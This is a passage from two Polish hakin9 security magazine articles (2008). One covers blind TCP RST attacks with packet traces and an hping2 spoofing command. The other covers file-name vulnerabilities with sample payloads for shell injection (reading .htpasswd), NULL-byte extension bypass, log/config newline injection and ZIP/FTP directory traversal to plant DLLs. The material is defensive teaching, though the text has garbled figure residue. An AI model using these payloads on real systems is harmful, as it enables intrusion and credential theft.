w przypadku odebrania pakietu
z ustawioną flagą RST. A mianowi-
cie, we wszystkich stanach oprócz
początkowego (SYN-SENT) odebra-
ne pakiety z flagą RST muszą mieć
poprawny numer sekwencyjny. Nu-
mer sekwencyjny dla tych pakietów
jest poprawny, gdy SEQ znajduje się
w przedziale okna odbiorczego. W fa-
zie SYN-SENT RST jest akceptowa-
ne, jeśli pole ACK potwierdza wcze-
śniej wysłany pakiet z flagą SYN.
Microsoft interpretuje RFC 793
na własny sposób i wymaga, aby
pole SEQ pakietu resetującego po-
łączenie było równe wartości ocze-
kiwanej, co poniekąd jest bezpiecz-
niejsze – gdyż teoretycznie host
A powinien móc zresetować połą-
czenie i zna dokładną wartość SEQ.
Z interpretacją RFC nie ma nato-
miast problemów system A, więc
gdyby z resetowaniem połączenia
były problemy, to można spróbować
w pełni ślepego ataku RST na ma-
szynę linuksową. W badanym przy-
padku rozmiar okna został po usta-
leniu połączenia ustawiony na 2352
przy współczynniku skalowania rów-
nym 2, co dało rozmiar okna 10128
Listing 8.
Szczegóły przykładowej komunikacji C<->A
IP
(
id
56121
,
length
60
)
172.16
.
83.1
.
45462
>
172.16
.
83.129
.
23
:
S
,
3157436274
:
3157436274
(
0
)
IP
(
id
0
,
length
60
)
172.16
.
83.129
.
23
>
172.16
.
83.1
.
45462
:
S
,
1617613530
:
1617613530
(
0
)
ack
3157436275
IP
(
id
56122
,
length
52
)
172.16
.
83.1
.
45462
>
172.16
.
83.129
.
23
:
.,
ack
1617613531
IP
(
id
56123
,
length
79
)
172.16
.
83.1
.
45462
>
172.16
.
83.129
.
23
:
P
,
3157436275
:
3157436302
(
27
)
ack
1617613531
IP
(
id
7199
,
length
52
)
172.16
.
83.129
.
23
>
172.16
.
83.1
.
45462
:
.,
ack
3157436302
IP
(
id
7200
,
length
55
)
172.16
.
83.129
.
23
>
172.16
.
83.1
.
45462
:
P
,
1617613531
:
1617613534
(
3
)
ack
3157436302
IP
(
id
56124
,
length
52
)
172.16
.
83.1
.
45462
>
172.16
.
83.129
.
23
:
.,
ack
1617613534
IP
(
id
56125
,
length
55
)
172.16
.
83.1
.
45462
>
172.16
.
83.129
.
23
:
P
,
3157436302
:
3157436305
(
3
)
ack
1617613534
Rysunek 1.
Badanie poprawności portu źródłowego
�
�
�
�����������
�����������
�������������������
������������������������
�������������������
������������������
����������������������
����������������������
�������������������������
�������������������������������
�
�
�
�����������
�����������
�������������������
������������������
����������������������
����������������������
�������������������������
�������������������������������
Blind Attack
hakin9 Nr 01/2008
www.hakin9.org
29
bajtów. Przejrzenie całego zakresu
2^32 numerów sekwencyjnych wy-
maga w tym przypadku wysłania
około 424068 pakietów. Przy założe-
niu, że typowy pakiet ma 40 bajtów,
wymagałoby to wysłania 16962720
bajtów. Zakładając typowe łącze
o prędkości 256 Kbit/s, zresetowa-
nie połączenia może zająć w najgor-
szym przypadku 8,7 minuty.
Atak w pełni ślepy
Uważny czytelnik pewnie dostrzegł,
że w pełni ślepy atak jest możliwy do
zrealizowania w sprzyjających wa-
runkach. Przy oknie odbiorczym rzę-
du 1GB wystarczą cztery próby, aby
zresetować dane połączenie. Pro-
blem może sprawić odkrycie portów
źródłowych i docelowych. Jednak
i one są w pewnym stopniu przewidy-
walne (patrz Tabela 2). Mając do dys-
pozycji zakresy i zakładając 4 próby
na rozłączenie połączenia, można
w optymistycznym przypadku dopro-
wadzić do awarii połączenia w mniej
niż 9 minut. Oczywiście w większości
przypadków nie ma się co łudzić – po-
myślny atak w tak krótkim czasie nie
powiedzie się.
Cała reszta
Należy zdać sobie sprawę, że arty-
kuł opisuje tylko niektóre możliwości,
jakie niosą ze sobą ślepe ataki. Ska-
nowanie oraz ataki RST są przysło-
wiowym wierzchołkiem góry lodowej,
pod którą kryje się wiele możliwości.
Wierny czytelnik hakin9 od razu po-
winien zauważyć fakt, że wprowa-
dzanie własnych informacji do usta-
nowionego połączenia umożliwia za-
stosowanie większości ataków we
wszystkich warstwach, począwszy
od warstwy IP. Dzięki wiedzy zdoby-
tej podczas skanowania można rów-
nież przyśpieszyć atak ICMP opisy-
wany w hakin9 3/2007 przez Marcina
Ulikowskiego, nie mówiąc już możli-
wości wykorzystania pluginu własnej
produkcji w Metasploit (patrz: hakin9
4/2007).
Podsumowanie
Warto uzmysłowić sobie, dlaczego
ślepe ataki są możliwe. Wszędzie
tam, gdzie występują przewidywal-
ne liczby, pojawia się niebezpieczeń-
stwo wykorzystania tego faktu. Po-
nadto same protokoły wykorzysty-
wane w Internecie oraz ich pełna lub
częściowa zgodność z RFC stanowi
niejakie zagrożenie, ponieważ stan
wiedzy o bezpieczeństwie znacznie
się zwiększył od czasu sformalizowa-
nia standardów internetowych. Istnie-
nie technik opisanych w artykule za-
wdzięczamy dokładnemu poznaniu
zarówno protokołów, jak i ich słabo-
ści. Świadomość zagrożenia istnie-
je i zewsząd pojawiają się inicjaty-
wy, które mają na celu niwelacje za-
grożenia, jak np. grsecurity czy inne
łatki jądra lub chociażby zmiany sto-
su TCP/IP w Windows Vista. Z dru-
giej strony jednak należy spojrzeć na
zamysł TCP/IP z dużym uznaniem.
Rozwiązania te, niekiedy powstałe
30 lat temu, są codziennie wykorzy-
stywane przez miliony użytkowników.
Gdyby technologię TCP/IP porównać
do motoryzacji, od razu można sobie
wyobrazić bezpieczeństwo na dro-
dze, po której poruszają się trzydzie-
stoletnie rzęchy. l
O autorze
Konrad Malewski, absolwent informatyki Politechniki Śląskiej. Obecnie doktorant in-
formatyki na AGH. Administrator amatorskich sieci komputerowych. Zarówno w pra-
cy, jak i prywatnie interesuje się programowaniem oraz bezpieczeństwem aplikacji sie-
ciowych.
Kontakt z autorem: kmalewski@gmail.com
Listing 9.
Reakcja systemu Windows Vista na pakiet z nieprawidłowym
numerem sekwencyjnym
Wywołanie polecenia z C
./
hping2
172.16
.
83.128
-
a
172.16
.
83.129
-
s
22
-
p
49165
-
M
0
-
c
5
spowoduje
odes
ł
anie
odpowiedzi
przez
B
:
IP
(
ttl
128
,
id
393
,
offset
0
,
flags
[
DF
]
,
proto
TCP
(
6
)
,
length
40
)
172.16
.
83.128
.
49165
>
172.16
.
83.129
.
22
:
.,
ack
200270774
win
253
IP
(
ttl
128
,
id
394
,
offset
0
,
flags
[
DF
]
,
proto
TCP
(
6
)
,
length
40
)
172.16
.
83.128
.
49165
>
172.16
.
83.129
.
22
:
.,
ack
200270774
win
253
IP
(
ttl
128
,
id
395
,
offset
0
,
flags
[
DF
]
,
proto
TCP
(
6
)
,
length
40
)
172.16
.
83.128
.
49165
>
172.16
.
83.129
.
22
:
.,
ack
200270774
win
253
IP
(
ttl
128
,
id
396
,
offset
0
,
flags
[
DF
]
,
proto
TCP
(
6
)
,
length
40
)
172.16
.
83.128
.
49165
>
172.16
.
83.129
.
22
:
.,
ack
200270774
win
253
IP
(
ttl
128
,
id
397
,
offset
0
,
flags
[
DF
]
,
proto
TCP
(
6
)
,
length
40
)
172.16
.
83.128
.
49165
>
172.16
.
83.129
.
22
:
.,
ack
200270774
win
253
Rysunek 2.
Dokładne znajdowanie numeru sekwencyjnego
����������
���������������
��������������
���
������
�����������
������
������� ������� ������� �������
�������
���
���
���
�
�
�
�
�
�
www.hakin9.org
hakin9 Nr 01/2008
30
Atak
N
iniejszy artykuł ma na celu zazna-
jomić Czytelnika z najczęstszymi
błędami popełnianymi przez progra-
mistów podczas obsługi otrzymanych z ze-
wnątrz nazw plików.
Ukrywanie pełnej nazwy pliku
Część aplikacji umożliwiających transfer plików
między dwoma użytkownikami, a w szczególno-
ści ich odbieranie, przed przystąpieniem do fak-
tycznego transferu danych informuje użytkownika
co do nazwy przesyłanego lub odbieranego pliku,
aby mógł on zadecydować, czy plik faktycznie po-
winien zostać odebrany, czy też ma zostać odrzu-
cony, np. z powodów związanych z bezpieczeń-
stwem. Częstym zaniedbaniem w tym miejscu
jest dostarczenie przez programistę zbyt wąskie-
go pola przeznaczonego do wyświetlenia na-
zwy plików, przez co część nazwy pliku zosta-
nie ukryta przed użytkownikiem. Błąd na pierw-
szy rzut oka wydaje się być trywialny, jednak
jego konsekwencje mogą być poważne. Przy-
kładowo, w roku 2004 błąd tego typu został
wykryty przez Bartosza Kwitkowskiego w module
przesyłania plików popularnego polskiego komu-
nikatora Gadu-Gadu (http://securitytracker.com/
id?1011037). Niebezpieczeństwo tego błędu po-
lega na ukryciu przed użytkownikiem prawdziwe-
go rozszerzenia pliku poprzez sformułowanie na-
zwy w następujący sposób: obrazek.jpg<DUŻO
SPACJI>.exe. Z uwagi na zbyt wąskie pole wy-
świetlające nazwę pliku oraz dużą ilość spacji
w nazwie, faktyczne rozszerzenie odbieranego
pliku nie zmieści się w polu nazwy – a więc nie
zostanie wyświetlone (patrz Rysunek 1).
Programista tworzący aplikację powinien za-
pewnić odpowiednie jej zachowanie w takim wy-
padku. Przykładowym rozwiązaniem może być
Niebezpieczne nazwy
plików
Michał Gynvael Coldwind Składnikiewicz
stopień trudności
Programiści, zarówno początkujący, jak i profesjonaliści, mają
tendencje do pokładania przesadnego zaufania w poprawności
otrzymywanych z zewnątrz nazw plików. W konsekwencji ich
aplikacje mogą stać się wejściem do systemu dla potencjalnego
włamywacza.
Z artykułu dowiesz się
• o najczęstszych zaniedbaniach w implementacji
obsługi nazw plików otrzymanych z zewnątrz,
• jakie są konsekwencje nieodpowiedniej wali-
dacji otrzymanych z zewnątrz danych,
• o trudnościach wynikających z pisania między-
platformowych aplikacji operujących na plikach.
Co powinieneś wiedzieć
• mieć ogólne pojęcie o popularnych językach
programowania oraz najbardziej znanych sys-
temach operacyjnych.
Niebezpieczne nazwy plików
hakin9 Nr 01/2008
www.hakin9.org
31
użycie pola wieloliniowego lub znacz-
nika informującego użytkownika, że
nazwa ma ciąg dalszy – przy czym
należy pamiętać, aby użyć dobrze
widocznego znacznika. Często uży-
wany jest wtedy wielokropek, jednak
zdaniem autora trzy piksele tworzące
wielokropek mogą zostać przez użyt-
kownika niezauważone.
Znak nowej linii
Aplikacje serwerowe udostępnia-
jące pliki bardzo często zapisują
w logach wszystkie nazwy plików żą-
danych przez użytkowników, wraz
z żądaniami, które zakończyły się
niepowodzeniem (np. z powodu nie-
istniejącego zasobu) – co, samo
w sobie, jest oczywiście bardzo
dobrym pomysłem i jest niezwy-
kle przydatne przy przeprowadza-
niu wszelkiego rodzaju analiz i ba-
dań, na przykład powłamaniowych.
Często w tym celu używa się logów
w formacie tekstowym, głównie
z uwagi na prostotę zapisu oraz póź-
niejszego odczytu – czy to przez
człowieka, czy przez przeznaczone
do tego celu skrypty. Problem po-
jawia się w momencie, gdy progra-
mista zaniedba konwersje niektó-
rych znaków specjalnych pojawia-
jących się w nazwie zażądanego
zasobu, takich jak znak nowej linii.
Należy jednak zauważyć, iż ataku-
jący musi mieć możliwość wstawie-
nia znaku nowej linii, który nie zosta-
nie obsłużony w ramach parsowania
pakietu – jest to możliwe w protoko-
łach binarnych oraz w protokołach
tekstowych udostępniających znaki
ucieczki lub alternatywne kodowanie
znaków, np. za pomocą ich kodów
ASCII. W takim wypadku atakujący
może wstawić do logów dodatkowe,
nieprawdziwe wpisy, mogące zmylić
osoby przeprowadzające analizę po-
włamaniową lub – w przypadku, gdy
system korzysta z analizatora logów
– odciąć dostęp do usługi zaufanym
hostom. Jako przykład wyobraźmy
sobie aplikację udostępniającą pliki,
która tworzy logi w postaci:
IP _ użytkownika: stan(OK lub ERROR)
żądany plik
Przykładowy wpis w logach mógłby
wyglądać tak:
192.168.0.12: OK /var/files/cars.db
Proszę zauważyć, że atakujący w takim
wypadku może wysłać specjalnie spre-
parowane żądanie, które spowoduje
wstawienie dodatkowych wpisów do lo-
gów – wystarczy, że użyje znaku nowej
linii w nazwie żądanego zasobu. Przy-
kładowo, atakujący mógłby poprosić
o plik /var/files/csrs.db\n123.123.123.123:
OK /etc/shadow (gdzie \n to znak no-
wej linii). Takie żądanie spowodowało-
by pojawienie się w logach następują-
cego wpisu:
192.168.0.12: ERROR /var/files/csrs.db
123.123.123.123: OK /etc/shadow
W konsekwencji wystraszony admi-
nistrator (lub analizator logów, któ-
rego używa) mógłby odciąć dostęp
z hosta 123.123.123.123.
W powyższym przykładzie pro-
blem wynikający z wystąpienia nie-
obsłużonego znaku nowej linii wyda-
je się być stosunkowo niegroźny, jed-
nak nietrudno wyobrazić sobie groź-
niejszy przypadek, gdy nazwa ostat-
niego zażądanego przez użytkowni-
ka pliku jest zapisywana do teksto-
wego pliku konfiguracyjnego. W ta-
kim wypadku atakujący dostaje moż-
liwość dopisania dowolnej opcji do
pliku konfiguracyjnego – przykłado-
wo takiej, która zwiększy jego upraw-
nienia. Jako przykład weźmy wyima-
ginowany serwer plików korzystający
z tekstowej bazy danych, w której
przechowuje informacje o kontach
użytkowników, takie jak login, hasło,
poziom dostępu oraz ostatnio zażą-
dany plik. Przykład takiej bazy znaj-
duje się na Listingu 1. Gdy użytkow-
nik zażąda jakiegoś pliku, aplikacja
serwerowa zapisuje informacje o żą-
daniu do bazy danych (pole LASTRE-
QUEST), po czym kontynuuje prze-
twarzanie. W takim wypadku ataku-
jący ma możliwość wysłania żądania
zawierającego znak nowej linii, które
– nieodpowiednio obsłużone – spo-
woduje dodanie opcji ACCESSLE-
VEL=admin do pliku konfiguracyjne-
go, co po przeładowaniu bazy danych
spowoduje nadanie użytkownikowi
wyższego poziomu dostępu. Żądanie
takie może wyglądać następująco:
\nACCESSLEVEL=admin
Analogiczny błąd występował w Penul-
tima Online – emulatorze serwera Ulti-
Rysunek 1.
Okno transferu pliku w Gadu-Gadu 6
Listing 1.
Tekstowa baza użytkowników
[
User
]
LOGIN
=
admin
PASS
=
md5
:
d10a20c8c3b635d4a6f7dcdae96a15d2
ACCESSLEVEL
=
admin
LASTREQUEST
=
/
var
/
files
/
csrs
.
db
[
User
]
LOGIN
=
hax
PASS
=
md5
:
d41d8cd98f00b204e9800998ecf8427e
#ACCESSLEVEL=user (default)
LASTREQUEST
=
/
var
/
files
/
rules
.
txt
hakin9 Nr 01/2008
www.hakin9.org
Atak
32
my Online, dotyczył on jednak nie na-
zwy pliku, a nazwy użytkownika. Za
pomocą znaku nowej linii możliwe by-
ło nadanie konkretnej postaci w grze
uprawnień administratora. Jak widać,
błąd ten dotyczy nie tylko nazw plików.
Niegroźny, nie mniej jednak intere-
sujący, błąd związany z brakiem ob-
sługi znaku nowej linii został znale-
ziony przez autora w Fileinfo (http://
blog.hispasec.com/lab/advisories/
adv_Fileinfo-2_09_multiple_vulne-
rabilities.txt), pluginie do Total Com-
mandera autorstwa Francoisa Gan-
niera. Fileinfo jest pluginem wyświetla-
jącym informacje o strukturze plików
wykonywalnych (MZ, PE) oraz obiek-
towych (COFF). Błąd był umiejscowio-
ny w obsłudze plików PE – autor zało-
żył, że nazwa importowanej biblioteki
DLL będzie normalną nazwą pliku. Nie
przewidział jednak możliwości, że bę-
dzie ona zawierała znaki nowej linii, co
umożliwia atakującemu dodanie wła-
snych fałszywych informacji o danym
pliku PE do raportu generowanego
przez Fileinfo (patrz Rysunek 2).
Problem wyboru
Problem wyboru nazwy pliku doty-
czy konkretnych przypadków, w któ-
rych programista dostaje kilka nazw,
teoretycznie identycznych, określa-
jących jeden plik i musi dokonać wy-
boru, której nazwy użyć. Jako że
nazwy powinny być – przynajmniej
w teorii – identyczne, wybór wydaje
się nie mieć znaczenia, ale co w wy-
padku, gdy atakujący spreparuje po-
dane aplikacji dane i nazwy nie będą
takie same?
Tego typu problem pojawia się
w przypadku archiwów ZIP, w których
nazwa skompresowanego pliku zapi-
sana jest w dwóch miejscach: przed
skompresowanymi danymi – w tzw. lo-
kalnym nagłówku pliku (ang. local file
header) oraz w nagłówku pliku w cen-
tralnym katalogu (ang. central directo-
ry). Programista powinien wybrać jed-
ną nazwę, którą najpierw pokaże użyt-
kownikowi w celu weryfikacji pliku do
rozpakowania lub po prostu wylisto-
wania plików w archiwum, a następnie
powinien użyć tej samej nazwy przy
tworzeniu rozpakowanego pliku. Oka-
zuje się, że nie zawsze tak się dzieje.
Przykładowo w menadżerze plików
Unreal Commander firmy X-Diesel
podczas listowania plików archiwum
aplikacja pokazuje użytkownikowi na-
zwy plików pobrane z centralnego ka-
talogu, jednak przy rozpakowywaniu
danego pliku aplikacja korzysta z na-
zwy zawartej w lokalnym nagłówku
pliku (http://blog.hispasec.com/lab/
advisories/adv_UnrealCommander_
0_92_build_573_Multiple_Vulnerabi-
lities.txt). W takim wypadku atakują-
cy może ukryć prawdziwą tożsamość
pliku nawet przed uważnym użytkow-
nikiem. Należy zauważyć, że zagro-
żenie wynikające z tego zaniedbania
wydaje się być niewielkie, ale w po-
łączeniu z innymi błędami (np. gło-
śnym błędem z kursorami animowa-
nymi .ani – wewnętrzna funkcja sys-
temu Windows była podatna na atak
typu buffer overflow podczas odczy-
tu danych z pliku z animowanym kur-
sorem, również przy generowaniu
podglądu w momencie listowania pli-
ków w katalogu za pomocą Windows
Explorera lub dowolnego innego me-
nadżera plików wyświetlającego pod-
gląd kursorów animowanych) zagro-
żenie może wzrosnąć.
Directory traversal
Pozostając przy tematyce archiwów,
warto wskazać często występujący
błąd, polegający na użyciu nazwy pli-
ku zawartej w archiwum bez spraw-
dzenia, czy nie zawiera ona znaków
specjalnych służących do zapisu ście-
żek relatywnych – czyli kropki, sla-
sha oraz backslasha, lub – w wypad-
ku, gdy jest to dopuszczalne – nie po-
informowania użytkownika o tym fak-
cie, np. prezentacja jedynie nazw pli-
ków, bez dołączonej do nich ścież-
ki względnej. Przykładowo w plikach
ZIP możliwe jest zapisanie relatyw-
nej ścieżki zawierającej odwołania do
katalogu nadrzędnego, czyli /../../../../.
W takim wypadku niewystarczająco
zabezpieczona aplikacja rozpakowa-
łaby plik do jednego z katalogów nad-
rzędnych, a nawet w dowolnie wska-
zane miejsce przez atakującego.
W przypadku systemu Windows miej-
sce ograniczyłoby się do danej party-
cji. Rozważając konsekwencje takiej
możliwości, należy wskazać atak pod-
miany DLL (ang. DLL Spoofing), pole-
gający na utworzeniu w katalogu apli-
kacji biblioteki DLL o takiej samej na-
zwie, jak dowolna nie-systemowa bi-
blioteka DLL, z której korzysta aplika-
cja, a która normalnie jest umieszczo-
na w katalogu systemowym (na przy-
kład w C:\Windows\system32). Spo-
wodowałoby to, że w momencie uru-
chomienia aplikacji zostałaby zaim-
portowana biblioteka z katalogu apli-
kacji, a nie ta umieszczona w katalo-
gu systemowym – skutkując wykona-
niem kodu umieszczonego przez ata-
kującego w bibliotece DLL. Należy za-
uważyć, że w takim wypadku nie jest
konieczna podmiana żadnego pliku,
a tym bardziej nie jest konieczne ręcz-
ne uruchomienie podstawionej biblio-
teki DLL. Atak ten połączony z opisa-
nym możliwym błędem w implementa-
Listing 2.
Prosty skrypt tworzący pliki tekstowe
<
?
php
// Pobierz argumenty
if
(!
isset
(
$
_GET
[
'
name
'
])
||
!
isset
(
$
_GET
[
'
data
'
]))
die
(
'
Usage
:
set
name
to
file
name
,
and
data
to
data
'
);
$
fname
=
$
_GET
[
'
name
'
];
$
fdata
=
$
_GET
[
'
data
'
];
// Usun slashe jesli trzeba
if
(
get_magic_quotes_gpc
())
{
$
fname
=
stripslashes
(
$
fname
);
$
fdata
=
stripslashes
(
$
fdata
);
}
// Zapisz
file_put_contents
(
$
fname
. '.
txt
', $
data
);
?
>
Niebezpieczne nazwy plików
hakin9 Nr 01/2008
www.hakin9.org
33
cji rozpakowywania plików ZIP mógłby
wyglądać następująco: w pliku ZIP po-
dana byłaby nazwa pliku w postaci:
../../../../../../../../Program Files/
mIRC/wsock32.dll
W momencie rozpakowania (przy za-
łożeniu, że na danym dysku istnie-
je katalog Program Files oraz ka-
talog mIRC) plik wsock32.dll zo-
stałby rozpakowany do katalogu
\ProgramFiles\mIRC, a nie – jak użyt-
kownik by oczekiwał – do katalogu
wskazanego przez niego. Dzieje się
tak dlatego, iż programista założył, że
nazwa nie będzie zawierała ścieżki
lub nie będzie to ścieżka, która odwo-
łuje się do nadrzędnych katalogów.
W konsekwencji użył więc nazwy pli-
ku – bez uprzedniej korekty – w po-
leceniu tworzącym plik, na przykład
CreateFile. Wydawałoby się jednak,
że aby przeprowadzić taki atak, nale-
ży znać dokładny poziom zagłębienia
w strukturę katalogów w celu określe-
nia niezbędnej ilości odwołań do ka-
talogów nadrzędnych (czyli dokład-
ną ilość ../). Jak się okazuje, nie jest
to konieczne, ponieważ system Win-
dows nie zgłasza błędu, gdy następu-
je odwołanie do katalogu nadrzędne-
go w głównym katalogu dysku, przez
co możliwe jest użycie nadmiarowej
ilości odwołań do nadrzędnego ka-
talogu w celu upewnienia się iż kon-
tekst faktycznie dotrze do głównego
katalogu dysku. W momencie, gdy ni-
czego nieświadomy użytkownik uru-
chomi mIRC'a, uruchomiony zostanie
również kod zawarty w podstawionej
bibliotece wsock32.dll.
Tego typu błąd pojawił się na
przykład w wymienionym już wcze-
śniej Unreal Commanderze (w mo-
mencie pisania artykułu jest on
nadal niepoprawiony) oraz w star-
szych wersjach Total Commandera.
Aplikacja korzystająca z ze-
wnętrznych nazw plików powinna
zwracać szczególną uwagę na zna-
ki umożliwiające podróżowanie po
drzewie katalogów – czyli slashe,
kropki oraz backslashe. Dobrym po-
mysłem jest konwersja tych znaków
na inne (na przykład na underscore
_ ) lub usunięcie odwołań do kata-
logów (np. wykasowanie wszystkich
odwołań do nadrzędnych katalogów
– czyli ciągów ../ oraz /..) – w tym wy-
padku należy jednak zwrócić szcze-
gólną uwagę na to, czy usunięte zo-
stały faktycznie wszystkie próby od-
wołania do nadrzędnych katalogów.
W wypadku, gdy ciąg byłby spraw-
dzany tylko raz, i ciąg ../ byłby usuwa-
ny tylko w pierwszym sprawdzaniu,
możliwe jest stworzenie ciągu który
po usunięciu pierwszych ../ ponow-
nie sformułuje ciąg odwołujący się do
katalogu nadrzędnego. Przykładowo
weźmy poniższy ciąg:
ala/.../.../..//kot
Funkcja usunęłaby kolejne wystą-
pienia ciągu ../, co spowodowałoby
powstanie poniższego ciągu:
ala/../kot
Funkcja usuwająca powinna więc
poszukiwać odwołań do katalogów
nadrzędnych, dopóki na pewno nie
zostaną usunięte wszystkie ciągi ../.
Remote
directory traversal
Błąd typu directory traversal można wy-
korzystać również zdalnie, na przykład
w przypadku aplikacji klienckich proto-
kołu FTP, które pokładają zbyt duże
zaufanie w poprawności otrzymanych
od serwera FTP nazw plików. Tego ty-
pu błąd występował w menadżerze pli-
ków Total Commander, do wersji 7.01
włącznie
(http://blog.hispasec.com/
lab/advisories/adv_TotalComman-
der_7_01_Remote_Traversal.txt).
Total Commander po połączeniu
z serwerem FTP może wysłać do nie-
go jedną z komend takich jak: USER,
PASS, SYST, FEAT, PWD, TYPE,
PASV oraz LIST. Odpowiedzią ser-
wera na ostatnią komendę jest lista
plików obecnych w danym katalogu.
Format listy zależy od serwera FTP,
między innymi format UNIX Type: L8
wygląda identycznie, jak wynik pole-
cenia ls -l, na przykład:
-rwxr-xr-x 1 ftp ftp 4096 Aug 1 02:28
plik
Aplikacja spodziewa się, że ostatnie
pole będzie faktycznie nazwą pliku
w danym katalogu i nie będzie zawie-
rać ścieżki względnej ani bezwzględ-
nej. Możliwe jest zatem stworzenie
serwera FTP, który w liście plików bę-
dzie wysyłać plik z backslashami oraz
kropkami w nazwie, na przykład:
-rwxr-xr-x 1 ftp ftp 4096 Aug 1 02:
28 ..\..\..\..\..\Program Files\mIRC\
wsock32.dll
Okazuje się, iż w takim wypadku To-
tal Commander w liście plików w da-
nym katalogu FTP wyświetli jedynie
samą nazwę pliku – czyli wsock32.dll,
bez pełnej ścieżki katalogów. Jednak
w momencie, gdy użytkownik zdecydu-
je się ściągnąć plik na dysk lokalny, To-
tal Commander użyje pełnej znanej so-
bie nazwy pliku, łącznie ze ścieżką ka-
talogów i odwołaniami do katalogów
nadrzędnych. W przypadku, gdy użyt-
Rysunek 2.
Okno raportu Fileinfo z wstawionym napisem Proof of concept
hakin9 Nr 01/2008
www.hakin9.org
Atak
34
kownik ściąga z serwera więcej niż je-
den plik, na przykład kilka plików lub
katalogów wraz z zawartością, Total
Commander nie informuje w żaden
sposób użytkownika o pliku skopiowa-
nym do innej lokacji. Jak widać, błąd
jest dość groźny – w końcu nietrudno
przekonać użytkownika, aby ściągnął
kilka katalogów z serwera FTP. Luka ta
została poprawiona w wersji 7.02. Trze-
ba przyznać, iż autor Total Comman-
dera dba o swoją aplikację – łatkę wy-
puścił kilka dni po otrzymaniu informa-
cji o luce.
Poison NULL byte
Kolejny błąd, już nie tak oczywisty jak
poprzednie, dotyczy konwersji meto-
dy przechowywania znaków z binar-
nie bezpiecznej (ang. binary safe) na
metodę stosującą terminator, na przy-
kład ASCIIZ – ASCII zakończone baj-
tem zerowym, ang. ASCII Zero-termi-
nated). Większość języków skrypto-
wych i opartych na maszynach wirtu-
alnych, takich jak Perl, PHP, Python,
Java, itd., przechowuje łańcuchy zna-
ków stosując strukturę składającą się
z pola zawierającego liczbę bajtów
(znaków) w łańcuchu oraz tablicy baj-
tów (znaków) – danych łańcucha. Nato-
miast API popularnych systemów ope-
racyjnych, takich jak Windows czy sys-
temów opartych o jądro Linuksa, ko-
rzystają ze stringów będących po pro-
stu tablicą znaków zakończoną termi-
natorem – w przypadku w/w systemów
jest to znak o kodzie binarnym równym
zero. W związku z tym, gdy implemen-
tacja poleceń języka wymaga odwoła-
nia do API systemowych, zachodzi po-
trzeba konwersji metody zapisu łańcu-
cha znaków. Problem pojawia się w
momencie, gdy łańcuch zawierał znak
o kodzie równym zero, który jest cał-
kowicie legalnym znakiem dla meto-
dy używanej wewnątrz języka, jed-
nak w przypadku łańcuchów z termi-
natorem zostanie zinterpretowany jako
znak końca łańcucha. Korzystając z tej
metody atakujący – używając bajtu ze-
rowego – może przedwcześnie zakoń-
czyć łańcuch, czyli zapobiec konkate-
nacji kolejnych łańcuchów. W rzeczy-
wistości będą one doklejane, jednak
funkcje API będą ignorować wszyst-
ko, co następuje po bajcie zerowym.
Weźmy pod uwagę przykładowy skrypt
znajdujący się na Listingu 2. Celem
programisty piszącego ten skrypt było
stworzenie prostego interfejsu pozwa-
lającego łatwo generować pliki teksto-
we z rozszerzeniem .txt, w dowolnej lo-
kacji na dysku. Atakujący mógłby jed-
nak użyć bajtu zerowego, by utworzyć
plik o dowolnym rozszerzeniu, wykonu-
jąc na przykład zapytanie:
http://serwer/skrypt.php?name=evil
.php%00&data=evil _ script _ goes _
here
W tym wypadku API systemowe otrzy-
małoby polecenie utworzenia pliku
o nazwie evil.php\0.txt, gdzie \0 to
bajt zerowy, natomiast – jako że bajt
zerowy to w tym wypadku termina-
tor – utworzony zostałby plik evil.php,
a reszta nazwy zostałaby zignorowa-
na. Warto wspomnieć iż termin trujący
bajt zerowy (ang. poison NULL byte)
został pierwszy raz użyty w roku 1998
przez Olafa Kircha na liście Bugtraq.
Na błąd typu poison NULL byte podat-
ne było między innymi phpBB. Błąd ten
wykryty został przez hakera o pseudo-
nimie ShAnKaR w roku 2004.
Shell injection
Niekiedy programiści uważają za sto-
sowne przekazać otrzymaną z ze-
wnątrz nazwę pliku do innego ze-
wnętrznego skryptu bądź programu
za pomocą polecenia typu system(),
popen() lub analogicznych. W takich
wypadkach wyjątkowo ważne jest za-
dbanie o to, by otrzymana nazwa pliku
nie zawierała żadnego separatora po-
leceń – znaku lub ciągu znaków, który
umożliwiłby atakującemu uruchomie-
nie dodatkowego polecenia. W przy-
padku systemów opartych o jądro Li-
nuksa uruchomienie dodatkowego po-
lecenia można uzyskać w jeden z na-
stępujących sposobów (Listing 3). Do-
datkowo możliwe jest przekierowanie
standardowych strumieni za pomocą
< (stdin), > (stdout) oraz 2> (stderr).
Przykładowy skrypt podatny na tego
typu atak wygląda następująco:
<?php system(„file” . $_GET['name']); ?>
W zamierzeniu programisty skrypt
miał wypisywać informację korzy-
stając z polecenia file o typie wska-
zanego pliku. Atakujący mógłby
jednak wykonać zapytanie, które
spowodowałoby uruchomienie do-
datkowego polecenia, na przykład:
http://serwer/info.php?name=;cat%20.ht
passwd
W takim wypadku wykonane zostało-
by polecenie system z parametrem file
;cat .htpasswd. Programista korzysta-
jący z zewnętrznych poleceń powinien
zwrócić szczególną uwagę na otrzy-
mywane z zewnątrz dane, w szczegól-
ności powinien z nich usunąć wszelkie
znaki umożliwiające wykonanie dodat-
kowych poleceń – takie jak
; | & ` $
( )
. Przykładowo język PHP udostęp-
nia w tym celu funkcje escapeshellarg
oraz escapeshellcmd.
Inne
Oprócz powyższych, często popełnia-
nych zaniedbań, programista powinien
oczywiście również uważać na stan-
dardowe błędy typu przepełnienie bu-
fora czy format bug. Błędy te były opi-
sywane już wielokrotnie, więc zainte-
resowany Czytelnik nie powinien mieć
trudności ze znalezieniem dokładniej-
szych informacji na ich temat.
Różnice
w systemach plików
Na koniec warto wspomnieć o kilku
trywialnych różnicach między sys-
temami plików używanych w syste-
mach z rodziny Windows oraz PO-
SIX-owych, czyli stosujących systemy
plików rozróżniające wielkość liter,
które mogą utrudnić życie programi-
ście tworzącemu międzyplatformo-
wą aplikację. Systemy POSIX-owe
w większości przypadków korzystają
Listing 3.
Wykorzystanie
separatorów do
nieautoryzowanych poleceń
; polecenie
| polecenie
&& polecenie
|| polecenie
`polecenie`
$(polecenie)
Niebezpieczne nazwy plików
z systemów plików, które jednoznacz-
nie określają nazwę pliku – czyli, z po-
minięciem linków symbolicznych, je-
den plik ma tylko i wyłącznie jedną na-
zwę, i wyłącznie po tej nazwie można
się do niego odwołać – chodzi m.in.
wrażliwość na wielkość liter. Nie jest
tak w przypadku systemów z rodziny
Windows. Jako przykład weźmy plik
ala.txt – można się do niego odwo-
łać używając nazwy ala.txt, ALA.TXT,
